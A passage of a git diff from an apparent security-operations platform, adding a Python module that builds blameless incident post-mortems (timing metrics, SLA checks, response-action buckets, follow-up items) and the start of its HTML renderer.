``MISP_PUSH_DEFAULT_ANALYSIS`` – 0=initial, 1=ongoing,+ # 2=completed. Default 0.+ # ------------------------------------------------------------------+ MISP_URL: str = ""+ MISP_API_KEY: str = ""+ MISP_VERIFY_SSL: bool = True+ MISP_PUSH_AUTO: bool = False+ MISP_PUSH_DEFAULT_DISTRIBUTION: int = 0+ MISP_PUSH_DEFAULT_THREAT_LEVEL: int = 4+ MISP_PUSH_DEFAULT_ANALYSIS: int = 0+ MISP_PUSH_TIMEOUT_SECONDS: float = 30.0+AISOC_AIRGAPPED: bool = False# Comma-separated host (or host:port) allowlist that overrides the# blanket egress block when AISOC_AIRGAPPED=True. Use this for andiff --git a/services/api/app/services/case_postmortem.py b/services/api/app/services/case_postmortem.pynew file mode 100644index 000000000..c28805a51--- /dev/null+++ b/services/api/app/services/case_postmortem.py@@ -0,0 +1,937 @@+"""Auto post-mortem builder.++Stage 3 #21 — roadmap+=====================+Drafts a *blameless retrospective* for a closed (or closing) case from the+case timeline + lifecycle metadata. Distinct from the per-case auto-summary+in :pymod:`app.services.case_summary`:++ * **Auto-summary** is a snapshot of *what the case looks like right now* —+ KPIs, observables, evidence, recommendations for archival hygiene.+ * **Post-mortem** is a retrospective: *what happened, when did we find+ out, what did we do, what did it cost, and what should we change* —+ organised around the questions an on-call retro asks.++Architecture mirrors the auto-summary intentionally so both artefacts feel+like siblings:++ 1. ``build_postmortem_from_rows`` — pure, deterministic, fully unit-tested.+ 2. ``build_case_postmortem`` — async DB orchestrator. Only place SQL lives.++To keep the DB layer DRY we *reuse* the input dataclasses defined in the+auto-summary module (``SummaryCaseRow`` / ``SummaryCommentRow`` /+``SummaryTaskRow``). Adding a parallel set would have meant two row mappers+for the same tables.++The post-mortem is deliberately blameless: every recommendation references+*systems* (detection content, runbooks, automation, escalation paths), not+individuals. The renderer strips author names from the timeline excerpts+that flow into the document body — they're still in the case record itself+and visible in the activity stream.+"""++from __future__ import annotations++import uuid+from collections import Counter+from dataclasses import dataclass, field+from datetime import UTC, datetime+from typing import Any++from pydantic import BaseModel, Field+from sqlalchemy.ext.asyncio import AsyncSession++# Reuse the case-summary input rows + DB fetchers so we don't duplicate the+# row mappers. The post-mortem builder works off the same shape of inputs;+# only the *output* differs.+from .case_summary import (+ CaseSummaryInputs,+ SummaryCaseRow,+ SummaryCommentRow,+ SummaryTaskRow,+ _fetch_case_for_summary,+ _fetch_comments,+ _fetch_tasks,+)++# ---------------------------------------------------------------------------+# Output schemas (Pydantic) — what the endpoint actually returns.+# ---------------------------------------------------------------------------+++class PostmortemHeader(BaseModel):+ """Identity for the case being retro-ed."""++ case_id: uuid.UUID+ case_number: str | None = None+ title: str+ severity: str+ status: str+ tags: dict[str, Any] = Field(default_factory=dict)+++class IncidentOverview(BaseModel):+ """One-paragraph executive narrative + structured impact."""++ summary: str+ severity: str+ status: str+ blast_radius_hosts: int = 0+ blast_radius_identities: int = 0+ blast_radius_alerts: int = 0+ distinct_observable_kinds: list[str] = Field(default_factory=list)+ affected_domains: list[str] = Field(default_factory=list)+++class DetectionTiming(BaseModel):+ """How fast did detection / triage / response happen?++ All durations in hours; ``None`` means we don't have the timestamp pair.+ """++ opened_at: datetime+ first_analyst_touch_at: datetime | None = None+ triaged_at: datetime | None = None+ resolved_at: datetime | None = None+ closed_at: datetime | None = None+ sla_due_at: datetime | None = None++ time_to_detect_hours: float | None = None # opened → first analyst note+ time_to_triage_hours: float | None = None # opened → triaged_at+ time_to_resolve_hours: float | None = None+ time_to_close_hours: float | None = None+ sla_breached: bool = False+++class DetectionGap(BaseModel):+ """A specific gap the timeline reveals (e.g. silent for N hours)."""++ severity: str # "info" | "warning" | "critical"+ title: str+ body: str+++class ResponseAction(BaseModel):+ """One bucket of response work — derived from tasks + system actions."""++ bucket: str # "containment" | "eradication" | "recovery" | "communication" | "investigation" | "other"+ count: int = 0+ completed: int = 0+ open: int = 0+ overdue: int = 0+ sample_titles: list[str] = Field(default_factory=list)+++class ResponseEffectiveness(BaseModel):+ """Roll-up of how response went, for the executive paragraph."""++ total_actions: int = 0+ completed: int = 0+ open: int = 0+ overdue: int = 0+ automation_used: bool = False+ actions_by_bucket: list[ResponseAction] = Field(default_factory=list)+++class TimelineEntry(BaseModel):+ """Compact retrospective timeline (system-side, blameless)."""++ ts: datetime+ phase: str # "detection" | "triage" | "investigation" | "response" | "resolution" | "closure"+ label: str+ detail: str | None = None+++class WentWellItem(BaseModel):+ """A positive observation surfaced from the timeline."""++ title: str+ body: str+++class FellShortItem(BaseModel):+ """A blameless observation about a gap (process / coverage / runbook)."""++ title: str+ body: str+++class ActionItem(BaseModel):+ """Concrete, blameless follow-up the team should consider."""++ category: str # "detection" | "runbook" | "automation" | "process" | "training"+ severity: str # "info" | "warning" | "critical"+ title: str+ body: str+ owner_role: str | None = None # e.g. "detection engineering", "on-call lead"+++class CasePostmortem(BaseModel):+ """Top-level deterministic blameless retrospective for one case."""++ generated_at: datetime+ headline: str+ case: PostmortemHeader+ overview: IncidentOverview+ detection: DetectionTiming+ detection_gaps: list[DetectionGap] = Field(default_factory=list)+ response: ResponseEffectiveness+ timeline: list[TimelineEntry] = Field(default_factory=list)+ went_well: list[WentWellItem] = Field(default_factory=list)+ fell_short: list[FellShortItem] = Field(default_factory=list)+ action_items: list[ActionItem] = Field(default_factory=list)+++# ---------------------------------------------------------------------------+# Pure-data input bundle — wraps the reused dataclasses for clarity.+# ---------------------------------------------------------------------------+++@dataclass+class PostmortemInputs:+ """Bundle of pre-fetched rows for a single case post-mortem."""++ case: SummaryCaseRow+ comments: list[SummaryCommentRow] = field(default_factory=list)+ tasks: list[SummaryTaskRow] = field(default_factory=list)+++# ---------------------------------------------------------------------------+# Pure helpers.+# ---------------------------------------------------------------------------+++def _hours_between(later: datetime | None, earlier: datetime | None) -> float | None:+ if later is None or earlier is None:+ return None+ delta = later - earlier+ return round(delta.total_seconds() / 3600, 2)+++# Keyword → response-action bucket. Deliberately small + stable; unknown task+# titles fall into "other" so the post-mortem stays useful even when teams+# coin new task vocabulary.+_RESPONSE_KEYWORDS: dict[str, list[str]] = {+ "containment": [+ "isolat",+ "contain",+ "quarantin",+ "block",+ "disable",+ "suspend",+ "lock",+ "kill switch",+ ],+ "eradication": [+ "remov",+ "delete",+ "wipe",+ "uninstall",+ "purge",+ "rotat",+ "revoke",+ "reset password",+ "reset secret",+ ],+ "recovery": [+ "restor",+ "recover",+ "rebuild",+ "reimage",+ "redeploy",+ "rollback",+ "reissue",+ ],+ "communication": [+ "notif",+ "inform",+ "alert team",+ "page",+ "escalat",+ "stakeholder",+ "customer",+ "comms",+ "status page",+ ],+ "investigation": [+ "investigat",+ "analyz",+ "analyse",+ "review",+ "triage",+ "collect",+ "preserve",+ "evidence",+ "forensic",+ "scope",+ ],+}+++def _bucket_response_action(title: str) -> str:+ """Heuristic: classify a task into a NIST-style response bucket."""+ t = (title or "").lower()+ if not t:+ return "other"+ for bucket, keywords in _RESPONSE_KEYWORDS.items():+ for kw in keywords:+ if kw in t:+ return bucket+ return "other"+++def _summarise_response(rows: list[SummaryTaskRow], *, now: datetime) -> ResponseEffectiveness:+ by_bucket: dict[str, dict[str, Any]] = {}++ for row in rows:+ bucket = _bucket_response_action(row.title)+ slot = by_bucket.setdefault(+ bucket,+ {"count": 0, "completed": 0, "open": 0, "overdue": 0, "titles": []},+ )+ slot["count"] += 1+ if row.status == "done":+ slot["completed"] += 1+ else:+ slot["open"] += 1+ if row.due_at is not None and row.due_at < now:+ slot["overdue"] += 1+ if len(slot["titles"]) < 3:+ slot["titles"].append(row.title)++ actions = [+ ResponseAction(+ bucket=bucket,+ count=info["count"],+ completed=info["completed"],+ open=info["open"],+ overdue=info["overdue"],+ sample_titles=list(info["titles"]),+ )+ for bucket, info in sorted(by_bucket.items(), key=lambda kv: (-kv[1]["count"], kv[0]))+ ]++ total = sum(a.count for a in actions)+ completed = sum(a.completed for a in actions)+ opn = sum(a.open for a in actions)+ overdue = sum(a.overdue for a in actions)++ # If any task title contains "playbook"/"workflow"/"runbook automation"+ # treat that as the team having reached for automation. Crude but useful+ # for the executive paragraph; we don't claim more than we can prove.+ automation_markers = ("playbook", "automation", "soar", "workflow run")+ automation_used = any(any(m in (t.title or "").lower() for m in automation_markers) for t in rows)++ return ResponseEffectiveness(+ total_actions=total,+ completed=completed,+ open=opn,+ overdue=overdue,+ automation_used=automation_used,+ actions_by_bucket=actions,+ )+++def _first_analyst_touch(comments: list[SummaryCommentRow]) -> datetime | None:+ """First non-system comment — proxy for "an analyst saw this"."""+ for c in sorted(comments, key=lambda c: c.created_at):+ if not c.is_system:+ return c.created_at+ return None+++def _build_overview(+ case: SummaryCaseRow,+ response: ResponseEffectiveness,+ detection: DetectionTiming,+) -> IncidentOverview:+ nodes = case.observable_graph.get("nodes") if isinstance(case.observable_graph, dict) else None+ nodes_list = nodes if isinstance(nodes, list) else []++ kind_counter: Counter[str] = Counter()+ hosts = identities = 0+ domains: set[str] = set()+ for node in nodes_list:+ if not isinstance(node, dict):+ continue+ kind = str(node.get("kind") or node.get("type") or "unknown").lower()+ kind_counter[kind] += 1+ if kind in {"host", "asset", "device", "endpoint"}:+ hosts += 1+ elif kind in {"user", "identity", "account"}:+ identities += 1+ elif kind == "domain":+ value = node.get("value") or node.get("label")+ if isinstance(value, str) and value:+ domains.add(value)++ parts: list[str] = []+ label = case.case_number or str(case.id)[:8]+ parts.append(f"Case {label} ({case.severity}) — {case.title}.")+ if detection.time_to_detect_hours is not None:+ parts.append(f"Detected in {detection.time_to_detect_hours:.1f}h after first signal.")+ if detection.time_to_resolve_hours is not None:+ parts.append(f"Resolved in {detection.time_to_resolve_hours:.1f}h end-to-end.")+ elif detection.time_to_triage_hours is not None:+ parts.append(f"Triage took {detection.time_to_triage_hours:.1f}h.")+ if detection.sla_breached:+ parts.append("SLA was breached.")+ if response.total_actions:+ parts.append(f"Response involved {response.total_actions} tracked actions ({response.completed} completed).")+ if response.automation_used:+ parts.append("Response leaned on automation/playbooks.")++ return IncidentOverview(+ summary=" ".join(parts),+ severity=case.severity,+ status=case.status,+ blast_radius_hosts=hosts,+ blast_radius_identities=identities,+ blast_radius_alerts=len(case.alert_ids or []),+ distinct_observable_kinds=sorted(kind_counter.keys()),+ affected_domains=sorted(domains)[:25],+ )+++def _build_detection(case: SummaryCaseRow, comments: list[SummaryCommentRow], *, now: datetime) -> DetectionTiming:+ first_touch = _first_analyst_touch(comments)+ return DetectionTiming(+ opened_at=case.opened_at,+ first_analyst_touch_at=first_touch,+ triaged_at=case.triaged_at,+ resolved_at=case.resolved_at,+ closed_at=case.closed_at,+ sla_due_at=case.sla_due_at,+ time_to_detect_hours=_hours_between(first_touch, case.opened_at),+ time_to_triage_hours=_hours_between(case.triaged_at, case.opened_at),+ time_to_resolve_hours=_hours_between(case.resolved_at, case.opened_at),+ time_to_close_hours=_hours_between(case.closed_at, case.opened_at),+ sla_breached=bool(case.sla_due_at and (case.resolved_at or case.closed_at or now) > case.sla_due_at),+ )+++def _build_detection_gaps(detection: DetectionTiming, case: SummaryCaseRow) -> list[DetectionGap]:+ gaps: list[DetectionGap] = []++ if detection.time_to_detect_hours is None:+ gaps.append(+ DetectionGap(+ severity="info",+ title="No analyst touched this case in the timeline",+ body=(+ "Either the case auto-resolved without analyst review or "+ "the activity stream wasn't captured. Consider whether "+ "auto-resolution was appropriate for this severity."+ ),+ )+ )+ elif detection.time_to_detect_hours > 4:+ gaps.append(+ DetectionGap(+ severity="warning",+ title=f"First analyst touch took {detection.time_to_detect_hours:.1f}h",+ body=(+ "The signal sat in the queue for over four hours before an "+ "analyst engaged. Review on-call rotations, paging "+ "thresholds, and whether the originating detection should "+ "auto-page for this severity."+ ),+ )+ )++ if detection.time_to_triage_hours is not None and detection.time_to_triage_hours > 8:+ gaps.append(+ DetectionGap(+ severity="warning",+ title=f"Triage took {detection.time_to_triage_hours:.1f}h",+ body=(+ "Triage exceeded eight hours from open. Determine whether "+ "the originating detection had enough enrichment context "+ "to support fast triage, or whether routing rules need "+ "updating."+ ),+ )+ )++ if detection.sla_breached:+ gaps.append(+ DetectionGap(+ severity="critical",+ title="Case breached its SLA",+ body=(+ "The case ran past its stated SLA. Capture the structural "+ "cause — analyst load, missing automation, escalation gap "+ "— so the next on-call rotation has the context to break "+ "the pattern."+ ),+ )+ )++ if not case.mitre_techniques:+ gaps.append(+ DetectionGap(+ severity="info",+ title="No MITRE ATT&CK technique tagged",+ body=(+ "Tagging at least one technique improves coverage "+ "reporting and helps tune the detection set. Review the "+ "originating detection content for this incident."+ ),+ )+ )++ return gaps+++def _build_timeline(+ case: SummaryCaseRow,+ comments: list[SummaryCommentRow],+ tasks: list[SummaryTaskRow],+ *,+ limit: int = 30,+) -> list[TimelineEntry]:+ """Merge case lifecycle, system comments, and task creations into a+ blameless retrospective feed.++ Author names are deliberately *not* included — this artefact is intended+ to be shared across teams without surfacing individuals. The full+ activity stream is still available on the case itself.+ """+ events: list[TimelineEntry] = []++ events.append(TimelineEntry(ts=case.opened_at, phase="detection", label="Case opened"))+ if case.triaged_at:+ events.append(TimelineEntry(ts=case.triaged_at, phase="triage", label="Triaged"))+ if case.resolved_at:+ events.append(TimelineEntry(ts=case.resolved_at, phase="resolution", label="Resolved"))+ if case.closed_at:+ events.append(TimelineEntry(ts=case.closed_at, phase="closure", label="Closed"))++ first_analyst = _first_analyst_touch(comments)+ if first_analyst is not None:+ events.append(TimelineEntry(ts=first_analyst, phase="triage", label="First analyst engagement"))++ # Prefer system comments (they describe automated actions / playbook runs)+ # over analyst notes — analyst notes belong on the case, not in the retro.+ for c in comments:+ if not c.is_system:+ continue+ body = (c.body or "").strip().replace("\n", " ")+ if len(body) > 140:+ body = body[:137] + "…"+ events.append(+ TimelineEntry(+ ts=c.created_at,+ phase="investigation",+ label="System action",+ detail=body or None,+ )+ )++ for t in tasks:+ bucket = _bucket_response_action(t.title)+ events.append(+ TimelineEntry(+ ts=t.created_at,+ phase="response",+ label=f"Response action created: {t.title}",+ detail=f"bucket={bucket} · status={t.status}",+ )+ )++ events.sort(key=lambda e: e.ts)+ if len(events) <= limit:+ return events++ # Always keep the lifecycle/triage events; trim noise from the middle.+ lifecycle_phases = {"detection", "triage", "resolution", "closure"}+ keep = [e for e in events if e.phase in lifecycle_phases]+ other = [e for e in events if e.phase not in lifecycle_phases]+ keep_other = max(limit - len(keep), 0)+ other = other[-keep_other:] if keep_other else []+ return sorted(keep + other, key=lambda e: e.ts)+++def _build_went_well(+ case: SummaryCaseRow,+ detection: DetectionTiming,+ response: ResponseEffectiveness,+) -> list[WentWellItem]:+ items: list[WentWellItem] = []++ if detection.time_to_detect_hours is not None and detection.time_to_detect_hours <= 0.5:+ items.append(+ WentWellItem(+ title="Fast first analyst engagement",+ body=(+ f"An analyst engaged within "+ f"{detection.time_to_detect_hours:.1f}h of the case "+ "opening — this is what the rotation should look like. "+ "Capture what made the page land cleanly so the pattern "+ "is repeatable."+ ),+ )+ )++ if detection.time_to_resolve_hours is not None and detection.time_to_resolve_hours <= 4 and case.severity in {"high", "critical"}:+ items.append(+ WentWellItem(+ title="Fast resolution on a high-severity case",+ body=(+ f"Resolved in {detection.time_to_resolve_hours:.1f}h end-"+ "to-end. This is a strong reference incident for future "+ "on-call training."+ ),+ )+ )++ if response.automation_used:+ items.append(+ WentWellItem(+ title="Automation engaged in response",+ body=(+ "Response leaned on a playbook / automation. Confirm the "+ "playbook output was reviewed before each destructive "+ "step, then promote the playbook in the runbook index."+ ),+ )+ )++ if response.total_actions and response.completed == response.total_actions:+ items.append(+ WentWellItem(+ title="All response actions closed before archival",+ body=(+ "Every tracked response action was completed. The case "+ "closed cleanly with no orphan tasks — exactly the bar "+ "to hold for future incidents."+ ),+ )+ )++ if not detection.sla_breached and detection.sla_due_at is not None:+ items.append(+ WentWellItem(+ title="SLA met",+ body=("The team resolved/closed inside the SLA window. Note what made the path linear so the rotation can replay it."),+ )+ )++ return items+++def _build_fell_short(+ case: SummaryCaseRow,+ detection: DetectionTiming,+ response: ResponseEffectiveness,+ comments: list[SummaryCommentRow],+) -> list[FellShortItem]:+ items: list[FellShortItem] = []++ if detection.sla_breached:+ items.append(+ FellShortItem(+ title="SLA breached",+ body=(+ "The case ran past its SLA. Document the single biggest "+ "structural cause (queue backlog, missing playbook, "+ "escalation gap) so the next rotation can target it."+ ),+ )+ )++ if response.overdue:+ items.append(+ FellShortItem(+ title=f"{response.overdue} response action{'s' if response.overdue != 1 else ''} overdue at archival",+ body=(+ "Tasks past their due date were still open when the case "+ "moved toward closure. Either close them out, reassign, "+ "or document why the original deadline was unrealistic."+ ),+ )+ )++ if case.severity in {"high", "critical"} and not any(not c.is_system for c in comments):+ items.append(+ FellShortItem(+ title="No analyst narrative on a high-severity case",+ body=(+ "A high or critical case is closing without any analyst "+ "note explaining what was found and what was done. Add "+ "a closing note before archival so the next on-call has "+ "a precedent to follow."+ ),+ )+ )++ if response.total_actions == 0 and case.severity in {"high", "critical"}:+ items.append(+ FellShortItem(+ title="No tracked response actions",+ body=(+ "A high/critical case has zero tracked response actions. "+ "Either the work happened off-system (capture it on the "+ "case for the next rotation) or the case was closed "+ "without containment — both are worth surfacing."+ ),+ )+ )++ if not case.mitre_techniques:+ items.append(+ FellShortItem(+ title="MITRE ATT&CK coverage missing",+ body=(+ "No technique was tagged on the case. Coverage reporting "+ "and detection tuning both depend on this being filled "+ "in — make it part of the closure checklist."+ ),+ )+ )++ return items+++def _build_action_items(+ case: SummaryCaseRow,+ detection: DetectionTiming,+ response: ResponseEffectiveness,+ gaps: list[DetectionGap],+ fell_short: list[FellShortItem],+) -> list[ActionItem]:+ """Concrete, blameless follow-ups. Owners are *roles*, not people."""+ items: list[ActionItem] = []++ if detection.time_to_detect_hours is not None and detection.time_to_detect_hours > 4:+ items.append(+ ActionItem(+ category="detection",+ severity="warning",+ title="Tune the originating detection for faster paging",+ body=(+ "First analyst touch took over four hours. Evaluate "+ "whether the originating detection should auto-page at "+ "this severity, or whether enrichment can shorten the "+ "queue dwell time."+ ),+ owner_role="detection engineering",+ )+ )++ if detection.time_to_triage_hours is not None and detection.time_to_triage_hours > 8:+ items.append(+ ActionItem(+ category="runbook",+ severity="warning",+ title="Add a triage runbook for this signal class",+ body=(+ "Triage took over eight hours. A short runbook for this "+ "signal would let the next analyst reach a triage "+ "decision faster."+ ),+ owner_role="on-call lead",+ )+ )++ if detection.sla_breached:+ items.append(+ ActionItem(+ category="process",+ severity="critical",+ title="Review SLA / escalation policy",+ body=(+ "Bring the SLA breach to the next operations review. "+ "Decide whether the SLA target is right, or whether "+ "automation/escalation needs investment to keep it."+ ),+ owner_role="on-call lead",+ )+ )++ if response.overdue:+ items.append(+ ActionItem(+ category="process",+ severity="warning",+ title="Close out overdue response actions",+ body=(+ "Several response actions were overdue at archival. "+ "Either close them, reassign, or update the due dates "+ "so the case file reflects reality."+ ),+ owner_role="case owner",+ )+ )++ if not response.automation_used and response.total_actions >= 3:+ items.append(+ ActionItem(+ category="automation",+ severity="info",+ title="Identify an automation candidate",+ body=(+ "This case had several manual response actions. Pick "+ "the most repetitive one and turn it into a playbook so "+ "the next occurrence is one click."+ ),+ owner_role="security automation",+ )+ )++ if not case.mitre_techniques:+ items.append(+ ActionItem(+ category="detection",+ severity="info",+ title="Tag MITRE ATT&CK on this case",+ body=("Add at least one ATT&CK technique to the case so coverage reporting reflects this incident."),+ owner_role="case owner",+ )+ )++ # If we still have nothing, surface a neutral "no follow-ups required"+ # marker so the artefact is still complete-looking.+ if not items and not fell_short and not gaps:+ items.append(+ ActionItem(+ category="process",+ severity="info",+ title="No structural follow-ups required",+ body=(+ "Detection, triage, and response all executed cleanly. Archive the case and roll any new IOCs into detection content."+ ),+ owner_role="case owner",+ )+ )++ return items+++def _build_headline(case: SummaryCaseRow, detection: DetectionTiming, response: ResponseEffectiveness) -> str:+ parts: list[str] = []+ label = case.case_number or str(case.id)[:8]+ parts.append(f"{label} {case.severity.upper()} retrospective")+ if detection.time_to_resolve_hours is not None:+ parts.append(f"resolved in {detection.time_to_resolve_hours:.1f}h")+ if detection.sla_breached:+ parts.append("SLA breached")+ if response.total_actions:+ parts.append(f"{response.completed}/{response.total_actions} response actions closed")+ return " · ".join(parts)+++# ---------------------------------------------------------------------------+# Pure top-level builder.+# ---------------------------------------------------------------------------+++def build_postmortem_from_rows(+ inputs: PostmortemInputs,+ *,+ now: datetime | None = None,+) -> CasePostmortem:+ """Pure function: rows in → ``CasePostmortem`` out. Deterministic."""+ moment = now or datetime.now(UTC)+ case = inputs.case++ detection = _build_detection(case, inputs.comments, now=moment)+ response = _summarise_response(inputs.tasks, now=moment)+ overview = _build_overview(case, response, detection)+ gaps = _build_detection_gaps(detection, case)+ timeline = _build_timeline(case, inputs.comments, inputs.tasks)+ went_well = _build_went_well(case, detection, response)+ fell_short = _build_fell_short(case, detection, response, inputs.comments)+ action_items = _build_action_items(case, detection, response, gaps, fell_short)+ headline = _build_headline(case, detection, response)++ return CasePostmortem(+ generated_at=moment,+ headline=headline,+ case=PostmortemHeader(+ case_id=case.id,+ case_number=case.case_number,+ title=case.title,+ severity=case.severity,+ status=case.status,+ tags=dict(case.tags or {}),+ ),+ overview=overview,+ detection=detection,+ detection_gaps=gaps,+ response=response,+ timeline=timeline,+ went_well=went_well,+ fell_short=fell_short,+ action_items=action_items,+ )+++# ---------------------------------------------------------------------------+# DB orchestrator.+# ---------------------------------------------------------------------------+++async def build_case_postmortem(+ db: AsyncSession,+ case_id: uuid.UUID,+ *,+ now: datetime | None = None,+) -> CasePostmortem | None:+ """Async orchestrator: pull rows for one case and build the post-mortem.++ Returns ``None`` if the case isn't found, so the endpoint can surface a+ clean 404 without conflating the data layer with HTTP semantics.++ SQL access is delegated to the auto-summary fetchers — they already+ return the exact dataclasses we need.+ """+ case = await _fetch_case_for_summary(db, case_id)+ if case is None:+ return None+ comments = await _fetch_comments(db, case_id)+ tasks = await _fetch_tasks(db, case_id)+ inputs = PostmortemInputs(case=case, comments=comments, tasks=tasks)+ return build_postmortem_from_rows(inputs, now=now)+++# Re-exported for callers who want to assemble inputs themselves (tests,+# off-line fixtures, etc.) without re-importing from case_summary directly.+__all__ = [+ "ActionItem",+ "CasePostmortem",+ "CaseSummaryInputs",+ "DetectionGap",+ "DetectionTiming",+ "FellShortItem",+ "IncidentOverview",+ "PostmortemHeader",+ "PostmortemInputs",+ "ResponseAction",+ "ResponseEffectiveness",+ "SummaryCaseRow",+ "SummaryCommentRow",+ "SummaryTaskRow",+ "TimelineEntry",+ "WentWellItem",+ "build_case_postmortem",+ "build_postmortem_from_rows",+ "_internal_helpers",+]+++# Internal helpers exported for tests.+_internal_helpers: dict[str, Any] = {+ "_hours_between": _hours_between,+ "_bucket_response_action": _bucket_response_action,+ "_summarise_response": _summarise_response,+ "_first_analyst_touch": _first_analyst_touch,+ "_build_overview": _build_overview,+ "_build_detection": _build_detection,+ "_build_detection_gaps": _build_detection_gaps,+ "_build_timeline": _build_timeline,+ "_build_went_well": _build_went_well,+ "_build_fell_short": _build_fell_short,+ "_build_action_items": _build_action_items,+ "_build_headline": _build_headline,+}diff --git a/services/api/app/services/case_postmortem_html.py b/services/api/app/services/case_postmortem_html.pynew file mode 100644index 000000000..dec7c203c--- /dev/null+++ b/services/api/app/services/case_postmortem_html.py@@ -0,0 +1,425 @@+"""HTML renderer for the per-case auto post-mortem (Stage 3 #21).++Sibling of :pymod:`app.services.case_summary_html`. Mirrors the same design+goals so the two artefacts feel like a matched pair when an analyst has+both open in adjacent tabs:++ * Pure function: same post-mortem in, same HTML out (deterministic).+ * Inline CSS only — the document is portable when downloaded.+ * Print-friendly typography and colour-blind-safe palette.+ * Defensive HTML escaping — every field touches tenant data.+ * Blameless: the body never names individuals; the timeline carries+ *what happened*, not *who did it*.++The two renderers share aesthetic choices on purpose (page margins, header+chip layout, KPI strip) but live in separate files so each can be tuned+independently — the post-mortem document is structured around different+questions (overview / detection / response / lessons) than the snapshot.+"""++from __future__ import annotations++from datetime import UTC, datetime+from html import escape++from .case_postmortem import (+ ActionItem,+ CasePostmortem,+ DetectionGap,+ DetectionTiming,+ FellShortItem,+ IncidentOverview,+ PostmortemHeader,+ ResponseEffectiveness,+ TimelineEntry,+ WentWellItem,+)++_SEVERITY_COLOURS: dict[str, str] = {+ "info": "#0ea5e9",+ "warning": "#f59e0b",+ "critical": "#dc2626",+}++_PHASE_COLOURS: dict[str, str] = {+ "detection": "#0ea5e9",+ "triage": "#6366f1",+ "investigation": "#8b5cf6",+ "response": "#f59e0b",+ "resolution": "#16a34a",+ "closure": "#475569",+}++_BUCKET_LABELS: dict[str, str] = {+ "containment": "Containment",+ "eradication": "Eradication",+ "recovery": "Recovery",+ "communication": "Communication",+ "investigation": "Investigation",+ "other": "Other",+}+++def _esc(value: object) -> str:+ if value is None:+ return ""+ return escape(str(value))+++def _fmt_hours(hours: float | None) -> str:+ if hours is None:+ return "—"+ if hours < 1:+ return f"{hours * 60:.0f}m"+ if hours < 48:+ return f"{hours:.1f}h"+ return f"{hours / 24:.1f}d"+++def _fmt_datetime(value: datetime | None) -> str:+ if value is None:+ return "—"+ return value.astimezone(UTC).strftime("%Y-%m-%d %H:%M UTC")+++def _severity_chip(severity: str) -> str:+ colour = _SEVERITY_COLOURS.get(severity.lower(), "#475569")+ return (+ f'<span style="display:inline-block;padding:2px 8px;border-radius:9999px;'+ f"background:{colour};color:#fff;font-size:11px;font-weight:600;"+ f'text-transform:uppercase;letter-spacing:0.04em;">{_esc(severity)}</span>'+ )+++def _kpi(label: str, value: str, *, hint: str | None = None) -> str:+ hint_html = f'<div style="color:#94a3b8;font-size:11px;margin-top:2px;">{_esc(hint)}</div>' if hint else ""+ return (+ '<div style="flex:1 1 140px;min-width:140px;background:#f8fafc;'+ 'border:1px solid #e2e8f0;border-radius:8px;padding:10px 12px;">'+ f'<div style="color:#64748b;font-size:11px;text-transform:uppercase;'+ f'letter-spacing:0.06em;">{_esc(label)}</div>'+ f'<div style="color:#0f172a;font-size:18px;font-weight:600;'+ f'margin-top:4px;">{_esc(value)}</div>'+ f"{hint_html}</div>"+ )+++def _header_block(case: PostmortemHeader, headline: str, generated_at: datetime) -> str:+ return (+ '<header style="border-bottom:2px solid #0f172a;padding-bottom:14px;">'+ f'<div style="color:#475569;font-size:11px;text-transform:uppercase;'+ f'letter-spacing:0.08em;">Blameless retrospective</div>'+ f'<h1 style="margin:6px 0 0;">{_esc(case.case_number or case.title)}</h1>'+ f'<div style="margin-top:6px;">{_severity_chip(case.severity)}'+ f'<span style="display:inline-block;padding:2px 8px;border-radius:9999px;'+ f'background:#e2e8f0;color:#0f172a;font-size:11px;margin-left:6px;">'+ f"{_esc(case.status)}</span></div>"+ f'<div style="color:#334155;font-size:14px;margin-top:8px;">{_esc(headline)}</div>'+ f'<div style="color:#94a3b8;font-size:11px;margin-top:6px;">'+ f"Case {_esc(case.case_id)} · "+ f"generated {_fmt_datetime(generated_at)} · "+ "blameless / system-focused</div>"+ "</header>"+ )+++def _overview_block(overview: IncidentOverview) -> str:+ domains_html = (+ '<div style="margin-top:8px;display:flex;flex-wrap:wrap;gap:6px;">'+ + "".join(+ f'<span style="padding:2px 8px;border-radius:9999px;background:#fef3c7;color:#92400e;font-size:11px;">{_esc(d)}</span>'+ for d in overview.affected_domains+ )+ + "</div>"+ if overview.affected_domains+ else ""+ )++ kinds_html = (+ '<div style="margin-top:8px;display:flex;flex-wrap:wrap;gap:6px;">'+ + "".join(+ f'<span style="padding:2px 8px;border-radius:9999px;background:#eef2ff;color:#3730a3;font-size:11px;">{_esc(k)}</span>'+ for k in overview.distinct_observable_kinds+ )+ + "</div>"+ if overview.distinct_observable_kinds+ else ""+ )++ return (+ "<h2>Incident overview</h2>"+ '<div style="background:#f8fafc;border:1px solid #e2e8f0;border-radius:8px;'+ f'padding:12px 14px;color:#0f172a;font-size:13px;line-height:1.55;">'+ f"{_esc(overview.summary)}</div>"+ '<div style="display:flex;flex-wrap:wrap;gap:12px;margin-top:12px;">'+ + _kpi("Hosts touched", str(overview.blast_radius_hosts))+ + _kpi("Identities touched", str(overview.blast_radius_identities))+ + _kpi("Linked alerts", str(overview.blast_radius_alerts))+ + "</div>"+ + (+ (+ '<div style="margin-top:12px;color:#64748b;font-size:11px;'+ 'text-transform:uppercase;letter-spacing:0.06em;">Observable kinds</div>'+ f"{kinds_html}"+ )+ if kinds_html+ else ""+ )+ + (+ (+ '<div style="margin-top:12px;color:#64748b;font-size:11px;'+ 'text-transform:uppercase;letter-spacing:0.06em;">Affected domains</div>'+ f"{domains_html}"+ )+ if domains_html+ else ""+ )+ )+++def _detection_block(detection: DetectionTiming, gaps: list[DetectionGap]) -> str:+ kpi_strip = (+ '<div style="display:flex;flex-wrap:wrap;gap:12px;">'+ + _kpi("Time to detect", _fmt_hours(detection.time_to_detect_hours))+ + _kpi("Time to triage", _fmt_hours(detection.time_to_triage_hours))+ + _kpi("Time to resolve", _fmt_hours(detection.time_to_resolve_hours))+ + _kpi("Time to close", _fmt_hours(detection.time_to_close_hours))+ + _kpi(+ "SLA",+ "Breached" if detection.sla_breached else "Met",+ hint=_fmt_datetime(detection.sla_due_at) if detection.sla_due_at else None,+ )+ + "</div>"+ )++ timestamps_table = (+ '<table style="width:100%;border-collapse:collapse;font-size:13px;margin-top:10px;">'+ "<tbody>"+ f'<tr><td style="padding:6px 8px;color:#64748b;">Opened</td>'+ f'<td style="padding:6px 8px;">{_fmt_datetime(detection.opened_at)}</td></tr>'+ f'<tr><td style="padding:6px 8px;color:#64748b;">First analyst engagement</td>'+ f'<td style="padding:6px 